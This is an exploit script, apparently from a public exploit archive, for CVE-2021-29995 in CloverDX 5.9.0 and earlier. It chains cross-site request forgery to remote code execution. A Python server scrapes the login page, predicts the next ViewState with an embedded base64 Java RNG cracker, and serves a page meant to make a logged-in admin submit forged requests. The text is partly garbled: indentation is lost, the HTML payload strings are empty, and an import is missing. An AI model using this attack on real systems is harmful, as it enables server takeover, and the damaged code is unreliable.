# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE)
# Date: 14.04.2021
# Exploit Author: niebardzo
# Vendor Homepage: https://www.cloverdx.com/
# Software Link: https://github.com/cloverdx/cloverdx-server-docker
# Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x
# Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker
# CVE : CVE-2021-29995
# Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX
# Victim authenticated to CloverDX and the java to run the ViewStateCracker.java.
# Reference for cracking ViewState:
# https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
# https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2
#
import http.server
import socketserver
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
from bs4 import BeautifulSoup
import subprocess
import sys
import json
class ExploitHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
# replace with your own target
target = "http://localhost:8080"
query_comp = parse_qs(urlparse(self.path).query)
if "target" in query_comp:
target = query_comp["target"][0]
req = requests.get(target+"/clover/gui/login.jsf")
if req.status_code != 200:
sys.exit(-1)
# parse the reponse retrieve the ViewState
soup = BeautifulSoup(req.text, "html.parser")
cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"]
# Use the ViewstateCracker.java to get new Viewstate.
new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state])
new_view_state = new_view_state.decode("utf-8").strip()
print(new_view_state)
if new_view_state == "6927638971750518694:6717304323717288036":
html = ("
Hello Clover Admin!
"
+ "")
else:
html = (""
+ ""
+ "Hello Clover Admin! Please wait here, content is loading...
"
+ ""
+ " "
+ " "
+ " "
+ " "
+ ""
+ ""
+ ""
+ ""
+ "")
self.wfile.write(bytes(html,"utf-8"))
base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg=="
#
# This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2
#
with open("ViewstateCracker.java","w") as f:
f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8'))
exploit_handler = ExploitHandler
PORT = 6010
exploit_server = socketserver.TCPServer(("", PORT), exploit_handler)
exploit_server.serve_forever()